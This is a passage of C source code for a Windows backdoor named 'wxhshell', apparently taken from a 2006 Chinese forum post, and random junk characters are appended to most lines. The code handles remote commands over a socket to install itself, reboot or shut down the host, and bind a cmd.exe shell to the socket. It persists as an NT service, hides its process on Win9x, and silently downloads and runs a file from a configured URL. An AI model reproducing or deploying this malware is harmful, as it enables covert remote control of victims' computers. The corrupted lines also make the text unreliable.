    break; /v<Gt%3X  
  } klAlS%  
  // 安装 +U J~/XV  
  case 'i': { ga\ s5  
    if(Install()) \F`>zY2$%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FIfLDT+Wh  
    else ~E8/m_> rU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f?=0Wzb  
    break; m%})H"5  
    } |,`"Omb9+m  
  // 卸载 !9HWx_,|Z  
  case 'r': { oXh t$Q  
    if(Uninstall()) P3W3+pwq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ig?9"{9p  
    else *a\x!c"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q:M'|5P  
    break; G)NqIur*Z  
    } nM &a2Z,T  
  // 显示 wxhshell 所在路径 e<=Nd,v4;  
  case 'p': { g|| q 3  
    char svExeFile[MAX_PATH]; cE`qfz  
    strcpy(svExeFile,"\n\r"); YKU|D32  
      strcat(svExeFile,ExeFile); $-pijBiz_  
        send(wsh,svExeFile,strlen(svExeFile),0); x 2&5zp  
    break; 9eHqOmz  
    } "2-D[rYZ  
  // 重启 MtPdpm6\  
  case 'b': { l x5.50mI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7_Te-i  
    if(Boot(REBOOT)) ndDF(qHr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "AXgT[ O  
    else { DAf@-~c  
    closesocket(wsh); Q.jThP`p  
    ExitThread(0); -wx~*  
    } 'L7u`  
    break; @N<h`vDa  
    } A7#nBHwxZ  
  // 关机 ucz~y! 4L{  
  case 'd': { vJi<PQ6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A =Z$H2  
    if(Boot(SHUTDOWN)) ztHx) !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }BT0dKx  
    else { ](n)bF+ym  
    closesocket(wsh); !PeSnO  
    ExitThread(0); qhTVsZ:{C  
    } XABP}|aWK  
    break; T YR \K  
    } c+z [4"rYL  
  // 获取shell |N6.:K[`  
  case 's': { K% snE7X?)  
    CmdShell(wsh);  LDU4 D  
    closesocket(wsh); =vF!  
    ExitThread(0); 0Ba]Zo Z  
    break; f>Ua7!b  
  } .]4MtG  
  // 退出 9a+Y )?z  
  case 'x': { Hq gg*4#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0uM&F[.x@g  
    CloseIt(wsh); -\B*reC  
    break; b|E ZD3y  
    } -~(d_  
  // 离开 HEc.3   
  case 'q': { J9XH8Grk-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !wEe<],  
    closesocket(wsh); [r Nd7-j <  
    WSACleanup(); t~4Cf])  
    exit(1); -'D ~nd${  
    break; T4}Wg=UKg  
        } `bV&n!Y_  
  } .)WEg|D0Ku  
  } (xTGt",_Jo  
Qa:[iF  
  // 提示信息 `jOk6;Z[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \JR^uJ{Y  
} t\YM Hq<Y  
  } e9/Mjq\  
+03/A`PKrB  
  return; 6;s[dw5T  
} 2)0J@r'  
1k)pJzsc  
// shell模块句柄 bd}[X'4d  
int CmdShell(SOCKET sock) :HrFbq  
{ &\cS{35  
STARTUPINFO si; /joY? T  
ZeroMemory(&si,sizeof(si)); nnT#S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a%kvC#B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z6B#F<h  
PROCESS_INFORMATION ProcessInfo; gzKMGL?%?  
char cmdline[]="cmd"; :O&jm.2m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [iO8R-N8d  
  return 0; eGpKoq7a  
} #+U1QOsz  
PP!-*~F0Jr  
// 自身启动模式 A X1!<K  
int StartFromService(void) ?fC9)s  
{ d8 Jf3Mo  
typedef struct (.Ak*  
{  CDuA2e  
  DWORD ExitStatus; *pnaj\  
  DWORD PebBaseAddress; Uz rf,I[  
  DWORD AffinityMask; w8UUeF  
  DWORD BasePriority; t18j2P>`  
  ULONG UniqueProcessId; EVaHb;  
  ULONG InheritedFromUniqueProcessId; 6:; >id${  
}   PROCESS_BASIC_INFORMATION; LCj3{>{/=  
/5L\:eX%  
PROCNTQSIP NtQueryInformationProcess; 'PFjZGaKR  
q`L )^In"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ae@!M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2T(+VeMQ=  
3}mg7KV&  
  HANDLE             hProcess; jgPUR#)  
  PROCESS_BASIC_INFORMATION pbi; M?}:N_9<J  
Oi^cs=}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ibwV #6  
  if(NULL == hInst ) return 0; 1HAnOy0   
{5c?_U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  !=*8*?@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C$C>RYE?.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [Y, L=p  
7j=KiiI  
  if (!NtQueryInformationProcess) return 0; _&s pMf  
8 qw{e`c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =23@"ji@D  
  if(!hProcess) return 0; olxxs(  
ln8NcAEx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P*|=Z>%[0  
5=#d#dDc  
  CloseHandle(hProcess); emrA!<w!W  
6H  U*,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZADMtsk  
if(hProcess==NULL) return 0; ZS]Z0iZv9  
a:HN#P)12  
HMODULE hMod; Y[R>?w  
char procName[255]; OyK#Rm2A=  
unsigned long cbNeeded; eu_ZsseZ  
]sVWQj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I"lzOD; eI  
8{i}^.p  
  CloseHandle(hProcess); ?r8hl.Z>  
X?< L<:.  
if(strstr(procName,"services")) return 1; // 以服务启动 Qyx~={ .C~  
@b^$h:H  
  return 0; // 注册表启动 4L{]!dox  
} HOPy&Fp  
x@bqPZ t  
// 主模块 oZ tCx  
int StartWxhshell(LPSTR lpCmdLine) whHuV*K}  
{ f>ktv76  
  SOCKET wsl; g:y4C6b  
BOOL val=TRUE; `0M6<e]C  
  int port=0; k[a<KbS  
  struct sockaddr_in door; {}Is&^3Z  
aD'Ax\-  
  if(wscfg.ws_autoins) Install(); ~re}6-?  
[v*q%Mi_  
port=atoi(lpCmdLine); 9"gu>  
;A7JX:*?y=  
if(port<=0) port=wscfg.ws_port; Ng W"wh  
2;:p H3  
  WSADATA data; 0wV9Trp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #\D 74$D  
C|3Xz[k{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `#`jU"T|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &V (6N%A^U  
  door.sin_family = AF_INET; o}/|"(K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eXK3W2XF  
  door.sin_port = htons(port); $HQ4o\~  
.lP',hn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { . 43cI(  
closesocket(wsl); 6<fG; :  
return 1; HZ Wt>f  
} GCO: !,1  
`\\s%}vZ*T  
  if(listen(wsl,2) == INVALID_SOCKET) { IHd W!q  
closesocket(wsl); L;j++^p  
return 1; m26YAcip}  
} YMK ![ q-  
  Wxhshell(wsl); Fih pp<  
  WSACleanup(); #m?)XB^_  
4E=v)C'  
return 0; t;h`nH[  
L_vl%ii-  
} _~\ } fY  
kln)7SzPuk  
// 以NT服务方式启动 0^o/c SF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) id5`YA$  
{ T~Bj],k_  
DWORD   status = 0; (,QWK08  
  DWORD   specificError = 0xfffffff; {b4`\ I@<  
JVy|SA&R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -XCs?@8EQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $VF,l#aR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  w0=  
  serviceStatus.dwWin32ExitCode     = 0; U-fxlg|-C  
  serviceStatus.dwServiceSpecificExitCode = 0; =%IyR  
  serviceStatus.dwCheckPoint       = 0; Sm4BZF~!B  
  serviceStatus.dwWaitHint       = 0; At=d//5FFP  
8/dMvAB1So  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =tt3nfZ9  
  if (hServiceStatusHandle==0) return; 9AB U^ig  
AK&>3D  
status = GetLastError(); ~Y CH5,  
  if (status!=NO_ERROR) ,7)hrA$(  
{ DWKQ>X6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F.$z7ee@  
    serviceStatus.dwCheckPoint       = 0; 1s=Q~*f~d  
    serviceStatus.dwWaitHint       = 0; =cjO]  
    serviceStatus.dwWin32ExitCode     = status; Y&O2;q/B  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9N9&y^SmD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fy"}# 2  
    return; #c@&mus  
  } H2R3I<j  
"*t6KXVaM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ? F #&F  
  serviceStatus.dwCheckPoint       = 0; '_.qhsS  
  serviceStatus.dwWaitHint       = 0; NC-K`)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zQY ,}a  
} ;NRh0)%|o  
%CiF;wJ  
// 处理NT服务事件,比如:启动、停止 %w65)BFQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {j>a_]dTVX  
{ !mUJ["#  
switch(fdwControl) m- <y|3  
{ VrZfjpV  
case SERVICE_CONTROL_STOP: NLL"~  
  serviceStatus.dwWin32ExitCode = 0; Ju47}t%HB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VM\R-[  
  serviceStatus.dwCheckPoint   = 0; "E2 0Y"[h  
  serviceStatus.dwWaitHint     = 0; ]}rNxT4<  
  { T@yQOD7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BkXv4|UE  
  } xNOKa*  
  return; {HEWU<5  
case SERVICE_CONTROL_PAUSE: R~oJ-} iYX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IXa~,a H71  
  break; ftPps -  
case SERVICE_CONTROL_CONTINUE: I&La0g_E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tf6m .  
  break; 4}; @QFT*  
case SERVICE_CONTROL_INTERROGATE: (cLKhn@  
  break; VR>!Ch  
}; t(*n[7e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6Oy:5Ps8a  
} 6;'[v}O^^  
P knOeW"j  
// 标准应用程序主函数 X|hYZR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LQPQ !):;  
{ R'c dEoy  
M+ %O-B  
// 获取操作系统版本 (rBsh6@)  
OsIsNt=GetOsVer(); ]z^jz#>um&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cl^UFl f[  
V[/9?5pM  
  // 从命令行安装 %@a;q?/?Nd  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,ZJ}X 9$<  
wea  
  // 下载执行文件 jJiuq#;T3  
if(wscfg.ws_downexe) { X.4WVI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U%:%. Bys  
  WinExec(wscfg.ws_filenam,SW_HIDE); [l5jPL}6  
} ~q566k!Ll!  
 : Z<\R0  
if(!OsIsNt) { PDD2ouv4  
// 如果时win9x,隐藏进程并且设置为注册表启动 `S|F\mI ~  
HideProc(); $GRwk>N  
StartWxhshell(lpCmdLine); 9abUh3  
} EWDsBNZaI  
else fL2P6N@  
  if(StartFromService()) !ZUUn*e{5  
  // 以服务方式启动 |(%<FY$  
  StartServiceCtrlDispatcher(DispatchTable); t^":.}[Q  
else D|ze0A@  
  // 普通方式启动 o!UB x<4  
  StartWxhshell(lpCmdLine); /(s |'"6  
2: gh q  
return 0; -"nkC  
}
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只看该作者 1 发表于: 2006-10-10
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